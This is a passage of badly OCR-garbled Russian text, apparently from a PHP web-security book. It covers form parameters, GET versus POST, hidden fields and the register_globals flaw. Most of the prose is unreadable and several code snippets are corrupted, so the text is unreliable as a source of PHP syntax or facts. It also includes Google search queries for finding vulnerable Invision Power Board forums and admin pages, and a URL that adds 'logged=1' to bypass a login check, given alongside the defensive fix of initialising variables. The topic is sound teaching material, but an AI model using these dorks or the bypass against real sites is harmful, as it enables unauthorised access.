0 $HTTP_USER_AGENT — CTPOKA, HMACHTH(DUIMPYIOWAS NPOrpaMMy-KIHEHT, Ha-
npHMep, HassaHue Opaysepa, XoTs 2TO HAa3BaHME HE BCerua COOTBETCTBYET
JIeCTBUTENIBHOCTH,

(0 $HTTP_ACCEPT — mepeveHb (aityios, KoTtopbie MoxeT o6paboTaTs KIMEHT.

K otuM  Ke MEPEMEHHBIM MOXHO TMONYYMTh JIOCTYNl 4epes MACCHB

$_SERVER [Mma nepemeusoit], €CliH y Bac B Hactpolikax PHP we ycranosiena

BO3MOXHOCTH aBTOMATHYECKOIO CO3/IaHUSA TIEPEMEHHBIX.

ogoaoaan Qoan

Q
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Crenyiomuii npuMep MoKaasiBaer, KaKk MOXHO BLIBECTH HA 3KDPAH 3HAYEHHS ne-
PEMEHHEBIX OKPYXEeHUWS:
<7php
print ("<P>$DOCUMENT _ROOT") ;
print ("<P>$SCRIPT_FILENAME") ;
print ("<P>S§HTTP_HOST") ;
>

2.12.2. Nepepaua napameTpos

Craruitble Web-CTpaHtLlbl BCTPEMAIOTCs CIMILKOM penko. TMpakTHyecku Ha -
. boM Dosiee-MeHee KpynmHOM caiite HeobxoauMo noayyars OnpelelneHHbIi BBOI CO
CTOpOHBI monb3osarens. Jus aroro Ha siseike pasmerku HTML cosnaores dop-
MBI, KOTOpPBIE TEPENAlOT CBOE COAEpPXKUMOe ykKazaHHoMmy daiiny cuenapus. Cre-
AYIOIMil MPUMEpP NMOKasbIBaeT, KaK co3fiath (hopMy BBOLA WMEHH MOJBb3OBATENS:
<form action="param.php" method="get">

Vs nonksoparend; <input name="UserName">
</ form>

Y rera <form> HYXHO yKa3arhs ABa napamerpa:

O Action — 3AeCh MBI JOMKHBEI YKasaTh ums Qaiifia cueHapusi WIH MOMHBII
URL K daitny, kotropoMy nmepeaiorest napameTpsl hopMsl;

(] Method — MeTOA NEPEATH. CyuieeTByIOT ABA METONA TNepeaud mapamer-
POB — get ¥ post. Bbl I0/OKHBI YETKO NOHMMATh, KAK OHM PaGoTaloT U B YeM

pasHuUA MEXKIY HUMH, 1103ToMy 00a Merola Mbl HOAPOGHO PacCMOTPHM YyTh
no3xKe.

Mexay TeraMu <form> W </form> MOXHO CO3[IABATL BJIEMEHTH YIpABieHMs,
3HAYEHHUst KOTOphIX GyayT nepenasathest cueHapuio, B ganHoMm npumepe Msl co3-
JATH TONBKO ONHO noae Bsona (Ter <inmput>), 3Aech B KavyecTBe MMEHH MOJA
BBOIIA 1 YKasal UserName.

JlaBaiiTe MOCMOTPHM Ha TIpUMeEpe, KaK MOXHO ynune-rb BeeneHHoe B Web-dopmy
nonp3opareneM uMs. Cameiit npocroil BapuaHT — B (aitne param.php ucnons3so-
BATH MEPEMEHHYI0 $UserName. [la, MBIl TaKo# nepemlmcm HE CO31ABANH, HO OHA
CO3/IaeTCH WHTEPIIPETATOPOM NeEpell 3ayCKoM CLieHapus.

Yro6sl yBUAETb, KOTAA CO3AAeTcs COOTBETCTBYIOULMI mapamerp, aapaiite Ha-
nuwmeM aiin param.php, Koropsiii Gyner conepkars dbopmy U Koa obpabor-
© k. Takum obpas’om, napamerpsl OyIyT nepenasaThCi TOMY e CUCHApHIO,
B KOTOpOM BBOAsATCS maHubie. TMpuMep TAkoro CUEHAPUS MOXHO YBUAETDH
B JivctuHre 2.14.



<HTML>
<HEAD> </HEAD>
<BODY>

<form action="param.php" method="get">
A nonbzoBarTena: <input name="UserName">
</ form>

<?php
if (SUserName<>"")

{ .
print ("<P>Bame wuma nonescBarTend: ");
print ("$UserName") ;
}

7>

< /BODY>

<HTML>

Ecnu sarpysuts a1y dopmy B ﬁpayagp, TO fNepeMeHHas $UserName Oyaer nycroif,
NOTOMY 4TO eille He GbUIO Mepejaydl MapamerpoB, M WHTEPNPeTaTop HUYEro He
cossasan. Ecnw BBecTH MMs nojip3oBatess M Haxats knasuiy <Enter>, 1o co-
nepxumoe dhopMsl Gyler nepesarpykeHo, Ho Tenepb NepeMeHHasl $UserName Oy-
NeT colepXaTh BBEACHHOE noJb3oBarenemM umMsi. Takum obpasom, MOXHO CHeNarh
MIPOBEPKY: €CHIM MEepPeMeHHas He myeras, To opMa NoiydnIa rnapaMmerp, ¥ Mox-
HO ero obpaGareisars. B Hamem mpumepe Mbl NPOCTO BHIBONMM HA DKpaH BBE-
NeHHOE UMH.
C noMomsio GopM MOKHO repesaBarh # CKpLIThe rrapanenpu CkaxeM, TOMHMO
HMMEHH TONB30BATENSI Bbl XOTHTE TEpEIaBaTh €lle KAKOe-TO 3HAYEHMHE, KOTOpoe
He AOMKHO GBITh BUAHO B opme. [ist 3T0r0 Bbl MOXETE CO3aTh HEBUAMMOE 110~
ne sBoja. Hampumep, B cienyioueil $opme ects IBa Mojs BBONA: UserName
Password, HO Bropoe none He Gyaer BuIHo Ha dopme, ITOTOMY YTO Y Mojs yKa-
3aH mapamerp type (THII), KOTOPOMY MPHCBOCHO 3HAYEHHE hidden (HEBHIMMBIN):
<form action="param.php" method="get">
User Name:

<input name="UserName">

<input type="hidden" name="Password" value="qwerty">
</ form>
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[lose password HeBMIMMO, HO colepXHUT 3Ha4YeHHe. Takum o6pasoM MoXHO ne-
penasarh OT CLEHapHsi K CUEHapHio onpeneneHHbie naHHbie. Temeps nocse nepe-
Jlayy mapameTpoB y cueHapua param.php OyayT nBe mepemeHHBIE $UserName M
$Password C YCTAHOBICHHBIMU 3HAUCHUSIMH,

Huxorna ne nepenasaiite TakuM criocoboM BaXHble AaHHbie. XOTS MOJE Napos
HeBUAMMO Ha dopme, moboit Gpaysep NMO3BONAET HPOCMOTPETh MCXOAHBIH KOX
HTML-dopmsl. Hanpumep, 8 Internet Explorer wist aToro HyHo BeGpaTs MEHIO
Bun | B sune HTML (View | Source). JTio6oit Xakep cMoxeT yBUAETH 9TOT napa-
METP B MCXONHOM KoOJle, & €C/IM HAI0, TO M M3MEHMTh. [l1si 5TOro MCXoaHbill Kon
CLEHAPUS COXPAHAETCSs HAa JOKATBHOM JMCKE NMONb3OBATENS, PENAKTHPYeTcs Ia-
paMerp (HanmpuMep, u3MEHAETCs 1Toe action GopMel Ha nonHst URL), u BBI-
TOJIHSIETCS 3aMpoc K cepsepy.

Ecnu BBl HE 3HAETE, KaKWe JAHHBIE ARISIOTCA BAXHLIMM, a KAKHE HET, TO HE uc-
ToJIB3yiiTe 3TOT METO BOOOIIE.

C nomorusio HacTpoek uHTepnperaropa (daitn php.ini) Bel MOXeTe MOBIUATE HA
napaMeTpsl, a ToYHee, HA UX paboTy, ¢ MOMOLIBI0 AMPEKTHBLI register_globals.
Ecnu 3ra mupexkTHBa BKITIOYEHA, TO GYIyT co3masarbesi rinobanbHbie NepeMeHHbe
IS TiepefaBaeMbiX nmapaMeTpoB, WHauYe TpuaeTcd JaHHBIE NMONL3OBATENS YUTATh
Yyepes crielMaTH3npoBaHHble rnobanbHele Maccusbl, Ho miobansHbie nepemMeHHbIE
npoiie ¥ ynobHee, MosToMy S He BHXY HATOGHOCTH B UX 3arpelieHny.

Teneps rnorosopuM mnonpobHee o Merofiax rnepenayu mapaMeTpoB. Kak Mbl yxe
3HAaeM, X IIBa: GET i POST. B 0BOMX Ciryqasx MHTEPNpeTaTtop CO3MAeT repemMeH-
HbIE C TAKMMM XK€ UMEHAMU, HO Pa3IMuus B METOUAX ECTb.

2.12.3. Meton GET

HauneM ¢ mMeTona GET. Bee mapamerpsl, KOTOPbIE TIEPENAOTCS CLEHAPHIO, TTOME-
maiores B robatbHbie nepeMeHHbie. [ToMIMO 3TONO, OHM MOMEUIAIOTCS B MAcCHB
$SHTTP_GET_VARS. Yrobbl He mucaTh TAKoe ITMHHOE MMSI MAacCHBa, MOXHO HC-
nons3oBars WMsA $_GeET. Ho u 9rto eéute ne see. TMonbsosarensh MOXeT BUAETH
napamerpsl B crpoke URL-ampeca. Tak, mocne BBINOJHEHWS NpUMepa ¢ mnepe-
naveir wumenu u mapons URL-agpec wsmenuress wa: http://192.168.77.1/
param.php? UserName=Flenov&Password=qwerty. [Tocne ampeca wumer cumson
BOMpOCa, 4 33 HUM MEpPeYyUC/IsiioTes napamMerpbl B BUAE mva=suaueune. [lapamer-
PHI pasfesieHsl Mexmy coboii amnepeaHaoM (&).

Kak Bel nymaere, spnsiercst M 9ToT Merton GesonacHeiM? Huckonsko! Xakepy
Gyzner mocTato4HO Jerko M3MEHHTH J0GOI napaMerp BpydHYl0 W nonobpars ero
naxe 6e3 M3MEHEHHS MCXOAHOTO Koia GOpMBI U OTHpaBKu mapamerpos. Bo
BpeMst IPOrpaMMUPOBAaHMs CLIEHAPHEB BBl JNO/DKHBI ClleJlaTh BCe TaK, YTOBHI XaKe-
py ObUTO MAKCHMAIBHO CHOXKHO nNoabHupars HYXHbie mapamerpsl. Hanpumep,
eciW 4epes METON GET Mepelaercsi mapojb, TO 3MOYMBILUICHHUK CMOXET JIErKO
noabupars ITOT NApoib.
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Bropass mpobGnema Takoro Meroga — OTKPHTOCTh. CHOBA paceMOTPUM HpPUMEP
¢ naposnem. Ecnm nonssoBarens BBesl Mapoib U BOIUEN B 3aUHIEHHYI0 obnacth
caifta, To 3TOT naponb Gyurer Haxomursest B crpoke URL. Jlioboit npoxomsumm#t
MHMO 4Ye/ioBeK cMoxer 6e3 npobiem yBHAeTh 9TY CTPOKY W MAPOIb.

Hukorna He nepenasaiite BaxHbie JaHHBIE METONOM GET, B 9TOM Cayyae Jyuiie
MCITONL30BaTh METOL POST. Ho 3T0 He 3HAYNT, YTO METOJ GET He HYXEH COBCEM,
MPOCTO K HeMy HYXHO MOAXOAUTH ¢ 0cob0il OCTOPOXHOCTHIO M MPOBEPATSH MI0GHIE
JIaHHBble, KOTOPEIE MMONY4eHbl 3THM criocoboMm,

B xaxux ciaygasx HyXHO MCIIOIB30BATH METO/ GET:

O ecnu BBl TOMHO YBEpPeHbl, YTO 4YEpe3 MapameTpbl HE MEPElAOTCH BAKHbLIE
JaHHBIE;

O ecnu oT0 AeHCTBHTENRHO yrobHo # Heobxoxumo.

Korma Mmoxer BO3HMKHYTL Takasg HeobGxommmocts? Tlpocreiimimit BapuaHT —
MOJb30BaTeNb JNOKEH MMETh BOSMOXKHOCTL HAIpPsMYI0 OBpPaTMTBEC K CTpaHuie
0e3 npeaBapUTEILHOIO BROIA napaue'rpuan B OTAeNbHON (hopMe, a TAKKE NMpH He-
0BXOMMOCTH MEPCOHANN3NPOBATh KAKUE-TO JaHHBbIE.

Meron GET 4acTO MCIOAB3YeTcsi B MapTHEPCKUX rporpaMmax. [lonycTuM, YTo B
3aperMcTPUpOBATINCH B KaYecTBe MapTHepa MarasiHa Www.amazon.com i JOJDKHE!
Noy4yaTh MPOLUEHTH! OT 3aKa30B TOBAPOB, CAENaHHBIX MO CChUIKE C Ballero caiTa.
Kak marasuH y3Haer, YTo MOKyIaresb Mpuiien UMeHHO no saweir ccouike? Ca-
MBIt MpocToit cmocob — pasMecTHTh Ha cBoeM caiire cChUIKY Ha Amazon, B Ko-
TOpO# NMPUCYTCTBYET MapaMerp B q:opuarc GET, umeHTHdUUMpyouMil Bac, Ha-
npumep: www.amazon.com?partner=flenov. B cuenapuu Ha cepsepe amazon.com
TIPOBEPAETCS, COACPXKNT JIN TIAPAMETP Partner WMA 3apPEerncTpupoOBAHHOIO MapT-
Hepa. Ecnu ga, To HYKHO OTYHMCIATE HA €r0 CYET NPOLEHT OT 3aKasaHHbIX TOBA-
pos. OBpatute BHUMAHKE: BTO BCETO JMWIL NMPUMEP, KOTOPLIH HUKAK He cBA3au
C peaJbHBIM MOJIOXeHHeM fiesl B paboTe ¢ napTHepaMy Ha caiite amazon.com.

AbconoTHo GesonacHOro METoja Nnepenaun napameTpoB He CYLUIECTBYET, HO Me-
TOA GET CIMILKOM MPOET W IMO3BOJIAET XakepaMm Jjierko ucnonbzosars URL s
TOMCKA YA3BUMBIX MECT B Bawux cueHapmsix. Yem npome Haiiti oummdbky, Tem
GblcTpee ee Hailoyr, W mail Gor, 4robpl HE BOCNONBL3OBAIMCH 3TOM OWMOKOI B KO-
PHICTHBEIX LIEJIsiX.

Yem eumre cTpanrHsl 3anpockl GET? Ilpcﬁ.neua Kpoetcsi B NMOMCKOBBIX CHCTEMAXx,
ocobeHHO B MOLIHOCTH ITOMCKOBO#H cucremsl google.com. Her, a4 He nporus Ta-
KOl MOLIH, MOTOMY 4YTO OoHAa Heobxoauma, HO 4TOOBI Bailll CAHT HE OKasaics Noj
yrpo3oit, HeoOXOAMMO YMUTHIBATL BCE BOAMOXKHBIE npobnemel. Hy, xsatut obmiux
CJIOB, aBaiiTe MOCMOTPUM Ha npolbieMy.

JonyeruM, Bbl Y3HAIH, YTO B Kakoi-imbo cucreme ynpasiaeHus calfiToM MosBK-
Jach yassuMocTh. Y10 910 32 ccrema? CyliecTByeT MHOXECTBO IUIATHLIX U Bec-
MIATHHIX TOTOBBIX MporpaMm, HanucanHsix Ha PHP, Perl n apyrmx siseikax u no-
3BOJISIIOIIMX co31ark cailT 6e3 ocoberx yewnnid. Takue cHeTeMbl MOIYT BKJIIOYATH
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B cebfi roToBbie peanusanmu POPYMOB, FOCTEBHIX KHUT, JIEHT HOBOCTEH M T. XL
Hampusep, phpbb wim ikonboard, koropbie o4yeHb CHILHO pacHpoCTPaHEHb!
8 Unrepuere, — naubonee monynsipHbie MCHoNHEeHUs! HopyMOB.

Ecnu B Kakoit-Hubyae M3 Takux creunanbHBIX MporpaMM HaiiieHa KpuTHdeckas
VA3BHMOCTbL U O Heil y3HaIM Xakephl, To Bee caiitet B MHTEpHETE, MOMONL3YIONINE
3TY NPOrpaMmy, MOABEPraloTcs OnacHocTH. BOABIMHCTBO AOMHHUCTPATOPOB He
TOATTHCAHBI HA HOBOCTH ¥ He OOHOBISIOT (ailibl cueHapues Ha cepBepe, MoITo-
MYy OCTAaeTCsl TONBKO HAMTH HYXHbI caliT # BOCHONL3IOBATHCS TOTOBLIM PELICHH-
eM JUISl OCYLIECTRICHUS B3OMA.

Kak naiiti caittet uau dopymsl, KOTOpbie COAEPKAT YAZBHMOCTH? Otma;b pocTo.
Yame Bcero cueHapuii xeprssl MoxHo onpeaeants no URL-anpecy. Hanpumep,
KOTZA Bbl MpocMarpupacTe Ha caiite www.sitename.ru pasien dopyma, Hcnonin-
3yIOINETO B KayecTse apikka Invision Power Board, 1o cTpoka anpeca BBISLIMT TaK:

http://www.sitename.ru/index.php?showforum=4

Teker index.php?showforum= OyleT BCTpEYaThesl Ha JI0GOM caifte, HCMONB3YIO-
mwem mns dopyma Invision Power Board. Yrober HaliTu caiitel, coaepxauine
8 URL aanubiii Texer, HYXHO BHIMOAHWTL B MOMCKOBOI cucreme Google cie-
nylouui 3anpoc!

inurl:index.php?showforum

CymecTsyior u Apyrue IBHXKH, KOTOpPbI® HCMONL3YIOT 3T0T TekeT. Yrobsl orbpo-
CHUTb MX, HYXHO ellle n0BaBHTh NOMCK Kakoro-HUOYLh dparmeHTa M3 CTpaHHIL
HanpuMep, no yMON4YaHMIo BHH3Y KaXIo# crpaHuusl ¢opyma ecrs Mommuch
"Powered by Invision Power Board(U)". Koneuro xe, anMuHucTparop BoieH u3-
MEHHTH HAOMUCh, HO B GonblIMHCTBE cAyyaes ee He Tporaior. MMeHHo Takoii
TEKCT MOXKHO NOBABHTH B CTPOKY MOWCKA, M TOrua peayiabrarom GyayT TOMbKO
CTpaHuLbI HyXHoro Ham dopyma. Tonpobyiite BEINMOMHATE CIERYIOUIMIT 3ampoc:
Powered by Invision Power Board(U) inurl:index.php?showforum

Bai ysuaure Gonee 150 Teicay caiiToB, peanM3oBaHHBIX HA 3TOM JBHXKe. Teneph
ecin nosiButest yassumocts B Invision Power Board, 1o BBl nerko Hatinere xepray
IUTS MCHBITAHMUS ya3suMocTH. [aneko He BCe aIMHHHMCTPATOPR YCIEIOT JIMKBHIN -
posarh olHGKH, a HeKoTopsle Boobiie He GYIYT MX NCIPABIHATE.

IMonpoGyiite sanycruts mouck “inurl:admin/index.php”, u BBl Haiigere croabKo
HHTEPECHOrD, UTO X JIyX 3daXBarbiBacT. TAKME CCBUIKM OYEHbL YacTo MCMOJB3YIOT-
¢Sl TS yrpasnreHus yem-iaubo Ha caitte. OnbiTHEIE AIMUHMCTPATOPHI 3AUHILAIOT
HX MapoisiIMK, U, KOHEYHO, DONBLUIMHCTBO W3 STHX CChUIOK OyIyT HENOCTYIHLI, HO
OTKPHBITHIE CCBUIKM MOTYT NO3BOIUTE YHUMTOXKKTE caifT MoIHOCTEIO.

B pasdeae 3.3.1 Gyner onucana peajnbHas YA3BMMOCTH, KOTOpYIO §i Halles crelld-
ATBHO JUIS 3TOH KHMIH, YTOOBI MPOMJUTIOCTPUPOBATL BOIMOXHbLIE NPOGiEMbl
¢ 6esonackocThI0 Beero 3a nath MuHYT. M Bee 310 Baroaapsi MOHCKOBOH CHCTE-
Me google.com W TOMy, YTO NapameTpsl NeperasaTiHch METOIOM GET M COXpaHH-
nues 8 URL.
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W Bce xe, meTon GET HeobxoanM. BoleliMHETBO caiiToB cocTouT He Gonee, YoM
u3 10 ¢aiimos cuenapuer, xoropble orobpaxaior AAHHBE HA CTPAHHIE B 3aBH-
cumocty or seibopa monssosarens. Hanpumep, ssmisivem Ha Bee Tor ke URL
(opyma:

http://www.sitename.ru/index.php?showforum=4

B nannom ciy4yae Bei3biBaeTcs cueHapiit index.php, a B KauecTse napameTpa ne-
penaercsi showforum H YKcao 4. [Jaxe He 3HAA UCXOAHOIO Koja CUEHAapHs, MOX-
HO JIOranaThest, 4To (aiin cueHapus N0/DKEH N0KasaTh HA cTpaHuue (opyM, Ko-
Topblit uaeHTndwMposan B 6asze naHHBIX non HomepoM 4. B 3aBucumocTH oOT
HoMepa opyma erpanniia Gyaer BHITNAAETE NO-pasHoOMY.

A Tenepb NpeNCTABMM, YTO HOMED (opyma Gyner NEpeAaBaThes ¢ MOMOUIBIO Me-
Tosa PosST. B 9T0M cnyyae, kakylo Osl cTpanuiy (opyma Bbl HH MPOCMATPHBATH,
URL Gyner BuIrasjgeTs OAMHAKOBO!

hitp://www.sitename.ru/index.php :

Taxkum obpaszoM, MOAb3OBATENb HE CMOXET CO3HATh 3AKNANKY HA HYXHYIO CTpa-
HuILy, moroMy uro mapamerp ckpeir o URL. IMonyuaercsi, 4T0 METOAOM GET
HY)XHO Nepe/aBaTh M TaKHe MapaMeTphl, KOTOPbIE CMOFYT OJHO3HAYMHO HIAEHTH-

GUUMPOBATE CTPAHMILY, HO TPH STOM HEJIb3S HAPYLIATh NMPAaBWIIA, [IACAILAE, YTO
NaHHbIE JOIKHB! GBITh GE30NACHBIMM W HE JOJDKHB! CONEPKATH BAXHBIX JAHHBIX.

2.12.4. Metop POST

MexaHH3M MCHONB3OBAHKMSA METOAA POST HM4YeM He omruuaercs or ceT. Hocra-
TOYHO TONBKO MOMEHATH MM MeToaa, U pam kon Gyner paGorars Ge3 BHECeHMs
NOTONHUTENBHBIX KOPPEKTHPOBOK, €C/M Bbl WMCIOMB30BANM JUIA JOCTyNa K napa-
MerpaM rNoGanbHEIe NepeMeHHble, & He MAcCUB SHTTP_GET_VARS (Il POST HC-
nmonb3yercs apyroif Maccus). ITpuMep Mcrnonab3oBaHus METOHA GET, PacCMOTpEeH-
HBIil paHee, MOXHO M3MEHUTh HA POST CJEAYIOIHUM 0OpasoM:

<form action="param.php" method="post">

User Name:

<input name="UserName">

<input type="hidden" name="Password" value="gwerty">
</ form>

Bonbine HUKAKUX M3MEHEHWH BHOCHTEL HE HAIO.

TIpy HCIONB3OBAHWK METOIA BPOST B TENO 3AMPOca MOMAAAIOT U BCE Napamerpsl
B BHAE MAp ums=sxavenwe. [IOMHMO 3TOr0, 3HAMEHWA NMEPEeMEHHBIX H MX HMEHA
TMOMANAIOT B MACCHB SHTTP_POST_VARS. YTOOLI He nucaTh TAKOE [UIMHHOE MM,
MOXXHO HCITOJB30BATh NICEBIOHHM $_POST.

Xots mapameTpsl He BumHBl B crpoke URL, npobnema He peumiaercs MojiHOCTHIO.
JonycTiM, YTO BBl PASPELIHIIA HCHONB30BaTh MIODANBHbBIE TIepEMEHHBIE H TIpM-
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MEHSETe UX WUId JOCTyNa K napaueTpaic, KaK mnoxasaso B auctunre 2.15. Coxpa-
HUTE 3TOT Koj B (haitre ¢ uMeHem postparam.php.

<form action="postparam.php" method="post">

User Name: <input name="UserName">

<input type="hidden" name="Password" value="gquwerty">
</form>

<?php
if ($UserName<>"")
{ ;
print ("<P>Bame umMa nonmesoBaTens: ");
print ("$UsexName") ;
print ("<P>[lapons: $Password");
}
>

B srom npumepe U3 GopMbl repefaioTcs napaue'rpm 'METOnOM pos'r Huum'pa
Ha 3TO, MBI MOXEM BHITIONIHUTE 3aMpPOC CIENYIONEro BUAa:

http://192.168.77.1/postparam. php?UserName=FlenovkPassword=qwerty

To €cTh MBI IEPEIAEM MApaMeTphl, KaK B METONE GET, H IPH 3TOM cuempm-t or-
paGoTaer pepHo. Mouemy? TpoGrema Kpoerest B HOBATBHBIX TepeMeHHbIX, KOTo-
phie He "3HAloT", KAKOH METO Mbl MCIONB3YeM, U HE 3aBUCAT OT Hero. B aToM or-
HOILUEHHWW HCIONB30BAHME MACCHBOB $HTTP_POST_VARS M $HTTP_GET_VARS Gonee
GezonacHo, NOTOMY YTO OHM MpuBs3aHbl K Merony. Ecam Gt Mel obpabarsisaiu
napamMeTpsl ¢ TMOMOILBIO MACCHBA $HTTP_POST_VARS, TO MONBITKA Mepeaarsh ma-
paMerpsl METOOM GET 3aBeplumnach Obl Heynaueil, MOTOMY YTO Takue flapamer-
pbl MONAAAIT B APYroil MaccuB SHTTP_GET_VARS.

B mucrunre 2.16 nmoka3aHo, KAK MOXHO TIONYMMTH AOCTYH K MapamerpaM 4epes
MAacCHBbI, @ TAKXe 3aNpeTHTh nepenavy rnapamerpos 4epes crpoky URL, T. e. me-
tonoMm GET. Ecnu maccuB $HTTP_GET_VARS HE MYCTOM, TO BHLIMOJHEHHWE LMKIA
npepeiBaeTcs ¢ coobIEHHEM 0 HEBEPHOM MapaMerpe.

<form action="arrayparam.php" method="post">
User Name: <input name="UserName"> i1
<input type="hidden" name="Password" value="qwerty">
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</ form>

<?php
if (count ($HTTP_GET VARS)>0)
{
die("Hemepuuit napameTp") ;
}

if (SHTTP_POST_VARS["UserNames"]<>"")

{
print("<P>Bame uma nonezoBaTensa: ")
print (SHTTP_POST_VARS [ "UserName"]) ;
print("<P>Bam napone: ");
print ($HTTP_POST_VARS|[ "Password"]) :
}

>

3HaueHMe KHOIIKH TakiKe ronaader B nepeMeHHyio. [lo 9Toro Mel BCerja Hanpas-
JISTH JIAHHbLIE CEPBEPY ¢ NOMOLbI0 HaxaTus knasumu <Enter>, Ho B peanbHBIX
nporpaMmax Jyqiue Oyner, eciy MONL3IOBATENb YBHIAT Ha CTPAHMIE KHOMKY OT-
npasku, Hanpumep, Submit wiu Geo: ,

<form action="submitl.php" method="get">
User Name: <input name="UserName">

<input type="hidden" name="Password®' value="gwerty">

<ipput type="submit" name="sub" value="Go">
</form>

<?php

if (Ssub="Go")
{
print ("<P>Submitted.....: $Submit");
}

P>

[pu 3TOM BBl AO/DKHBI YMMTHEIBATh, YTO HA3BAHHE KHOMKM B CLEHAPUM HE H3ME-
usercst. [laxe npu nepsoii 3arpyske CTpaHmMLBl, IO TOrO, KaK [MONb30BarTeNb Ha-
Kal KHOMKY OTNPABKH NaHHBIX, 3HAYEHNEe YXKE paBHO "Go".

XoTst NpH MCIONB30BAHMK MeTo/a POST napamMerps! He BuiHE B crpoke URL, ne
CTOMT 3aDbIBaTh, YTO 3TH napameTpsl HebedonacHbl. Takue JaHHbIE TAKKe MOXKHO
mMonuduLHpoBars, npocto Tpebyercs Yyrh Goabliue yCHIMit, HO 9T0 HE OCTAHOBHT
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xakepa. Meron posT HeoGXoauM B TOM @Iy4ae, KOrAa Bsl XoTute, 4To6Hl Mapa-
MeTphI NpK nepejnave He orodpaxanuch B crpoke URL, u noctoponuuii He emor
WX MPOYMTATh ¢ 3KpaHa MoHHTOpa. Ho nipu sToM BBl JIODKHBI YAS/IATE STHM 1a=
pamMeTpaM He MeHble BHUMAHMS M NpPOBEPATH HA JUOOLIE OTKIOHEHHWS W Hemo-
MYCTHMBIE CHMBOJIbI, O Y€M Mbl ByIeM roBopuTh B pasdese 3.5.

2.12.5. YASBMMOCTb napameTpos

Ipu paﬁm'e C MapaMeTPaMM HyXKHO ObITE O4eHb akKyparHbiM. Eciu B KoHbury-
paunonHoM daitne php.ini ycraHoRIeH nmapaMmerp register_ globals, TO co3ia-
joTest TiobaibHbie NEepeMeHHbIe, 3TO MOXKET OKAa3aThCsi TPHUUNHON YS3IBHMOCTH
NpH HEBHMMATENBHOM TIPOTPaMMHPOBAHHK. PaccMoTpHM YSI3BUMOCTh Ha NpUMepe:
<form action="testpass.php" method="get">

Mus: <input name="username">

Mapons: <input name="password">

</ form>

if ($password== $legal _pass) and ($username==$legal_name)
Slogged = 1

if ($logged)
{
/ (MonusoBaTeNns aBTOPKROBRAH
}

Jloruka paborel npuMepa jocraroyro npocra, ClieHapHio nepefaloTes ABa napa-
MeTpa: $username W Spassword. ECITH OHHM COOTBETCTBYIOT MapaMeTpaM Jierajib-
HOro MONMB30OBATENS, TO NMEepeMEHHON $logged npucsanBaercsi sHayenue 1. Tlocne
3TOTO TIPOMCXOMUT MPOBEPKa 3HAYCHMA NMepeMeHHol $logged: eciii OHO paBHoO I,
TO ABTOPU3ALMS MPOILIA YCINEHIHO M MOXHO BHITIONHATE 3AKPLITHIA KO,

Crpoka URL, Kotopas no/DKHA HCIONB30BATECA A AAHHOTO MpHMepa:
http://192.168.77.1/testpass.php?username=admin&password=pass
Yro nonyuurest, ecan xaxkep nobasut s aror URL napamerp logged:

http://192.168.77.1/testpass.php?username=admin&password=pass&logged=1

JHa, Takoif napaMerp He nepesaerca ¢ NOMOULbID GOPMBI, HO 3TO HEe 3HAYMT, 4YTO
MBI HE MOXeM ero MCIonb3oBaTh. Bul Bnpase nepesarh moGoii mapamerp, Aaxe
TOT, KOTOPSHIN HE MCHOMB3YeTcs B CUEHapUH, W unmmzpmrop PHP oﬁn:sa.a 6y-
JeT CO3NATH TAKYIO TIEPEMEHHYIO.

B HaimieM mpuMepe Mepejl CTAPTOM CLEHAPHS MHTEPNPETATOP CO3NACT MepeMeH-
HYI0 $logged W nMpHcBauBaeT eii 3HaveHue |. Terepb cueHapuii paboraer ¢ Ha-
el mepemMeHHoR, KOTopoil yKe MPUCBOEHO 3HAYEHWE 10 YMOMYaHWIo, 4 JHAYUT,
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AaXKe ecd NPOoBEpPKa MMEHHM W Naposisl JacT OTPHUATENLHEII PE3Y/ILTAT, NPOBEPKa
3HAYCHMs MEePeMeHHON $logged HAa PABEHCTBO CAHHMUE GyLeT MONOXMTEABHOH,
1 XaKep YBUIMT 3aKpPbITHIE NaHHbIE.

Ha nepBblif B3MsLL, B3IOMaTh CLUEHAPUIt Yepes nepeMeHHbIe A0CTATOMHO HPOCTO.

Ho mnsi aToro xakep HOMKEH UMETh JOCTYN K MCXOIAHOMY KOMy cleHapus, YToGsl

3HATh, KAKUE IMEePeMEeHHbIe WCMONb3YIOTCH B CLEHAPHH, ¥ MMETh BO3MOXHOCTE

nomsenars MX. Eca TeKeT cueHApHs SAMIMINEH, TO yragarb, Kakoid napamerp

HYXHO MoJLieNnaTh, NpakTHYeCcKH HeBo3MOXHO. Ho eci Balll cueHapuit npuHan-

nexut K Ty Open Source, TO TYT yXe BO3HHKAIOT TpoGaeMBl.

Kaxk ux pewars? EcTh aBa BapuaHra:

1. YcTaHOBUTH 3HAYEHWE NMPEKTHBE register_globals B off M MCNOJIBE30BATH
maccuBel. B 9TOM ciiyuae mepeMeHHas $logged M3 CHEHAPHS M NepeMEeHHAs
M3 MaccuBa napamerpos OyayT pasHbiMM, U momoGHBIH B3NTOM OKaxercs He-
BO3MOXHEIM.

2. UnMuMamM3npoBaTh nepeMeHHbIe, KOTOphE He MOKHEI IepelaBarhesl oT
nons3osarens. Sl npeAnovYHTald 3TOT CNOCOD, TIOTOMY YTO OTKA3bIBATHCA OT
INOGANBHBIX MEPEMEHHBIX HEe XOYeTcsl, & MHUIManUsalus nossousier 3hdex-
THBHO 3aIIMTUTELCS OT BajloMa. Beerna nponsBoauTe WHHITHASHIALHKIO B CAMOM
Hayane cueHapus,

Chenyouuit npuMep 1MoKasslBaeT, KAK ¢ MOMOMIBI0 HHULMATH3ALMH 3alUMTHTHCH
OT B3/I0MA Yepe3 TepeMeHHbIe:
<form action="testpass.php" me ="get">
Mua: <input name="username">
Mapone: <input name="password">
</form>

$logged=0;
if ($password== $legal pass) and (Susername==$legal name)
Slogged = 1

if (Slogged)
{
//Monss0BaTess apToOpPU3OBan
}

Jlaxe ecnu xakep NOMAENAeT MEPEMEHHYIO $logged, B CAMOM HAuATe CHEHApHS
Mbl MPUHYAXTENLHO MPOTIHIIEM B Hee 3HaveHue 0, U TONLKO B ciyuae ycneurHol
NpoBEPKH HMEHH MONb3OBATENA W MApONA 3HAYCHHE $logged WIMEHHTCS Ha |.

Paspaboruuku PHP peurmm He wHamestscss Ha mnpodeccuonaimsm  Web-
NPOrpaMMUCTOB W 110 YMOJMAHWIO OTKIIOYWIM NMPEKTHBY register_globals.
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Ecnu Bbl yBepeHbl, 4TO He YNyCTWIH HH. mmoﬁ MHULMATH3ALMA, TO MOXeTe
BK/IIOMHTH STY IHPEKTHBY.

2.12.6. CkpbiTble napameTpbl

Hukorna He josepsiite cKpuirbiM napamerpam! Kpacusoe nauano pasaena? Heii-
